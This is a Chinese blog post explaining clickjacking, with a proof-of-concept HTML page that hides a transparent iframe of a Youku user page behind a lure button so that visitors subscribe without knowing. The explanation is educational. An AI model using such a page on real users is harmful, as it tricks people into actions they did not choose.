版权声明:本文为博主原创文章,遵循 CC 4.0 BY-SA 版权协议,转载请附上原文出处链接和本声明。
百度解释:
点击劫持,
clickjacking,也被称为UI-覆盖攻击。这个词首次出现在2008年,是由
互联网安全专家罗伯特·汉森和耶利米·格劳斯曼首创的。
它是通过覆盖不可见的框架误导受害者点击。
虽然受害者点击的是他所看到的网页,但其实他所点击的是被黑客精心构建的另一个置于原网页上面的透明页面。
这种攻击利用了HTML中<iframe>标签的透明属性。
就像一张图片上面铺了一层透明的纸一样,你看到的是黑客的页面,但是其实这个页面只是在底部,而你真正点击的是被黑客透明化的另一个网页。一个简单的点击劫持例子,就是当你点击了一个不明链接之后,自动关注了某一个人的博客或者订阅了视频。
假如我在优酷发布了很多视频,想让更多的人关注它,于是我们准备了一个页面:
-
<!DOCTYPE html>
-
<html>
-
<meta http-equiv="Content-Type" content="text/html; charset=utf-8">
-
<head>
-
<title>点击劫持 POC
</title>
-
<style>
-
iframe {
-
width:
1440px;
-
height:
900px;
-
position: absolute;
-
top: -
0px;
-
left: -
0px;
-
z-index:
2;
-
-moz-opacity:
0;
-
opacity:
0;
-
filter:
alpha(opacity=0);
-
}
-
button {
-
position: absolute;
-
top:
270px;
-
left:
1150px;
-
z-index:
1;
-
width:
90px;
-
height:
40px;
-
}
-
</style>
-
</head>
-
<body>
-
<button>美女图片
</button>
-
<img src="http://pic1.win4000.com/wallpaper/2018-03-19/5aaf2bf0122d2.jpg">
-
<iframe src="http://i.youku.com/u/UMjA0NTg4Njcy" scrolling="no">
</iframe>
-
</body>
-
</html>
当然真正的页面肯定会更精致一些,不会这么简陋。
然而这个页面只是表象而已,我们把iframe的透明度改成0.3以后再看看
当你点击按钮以后,真正的点击的其实是隐藏的那个页面的订阅按钮,然后就会在你不知情的情况下订阅了
当然点击劫持的危害可大可小,并不仅仅是关注订阅之类的东西,但是原理类似。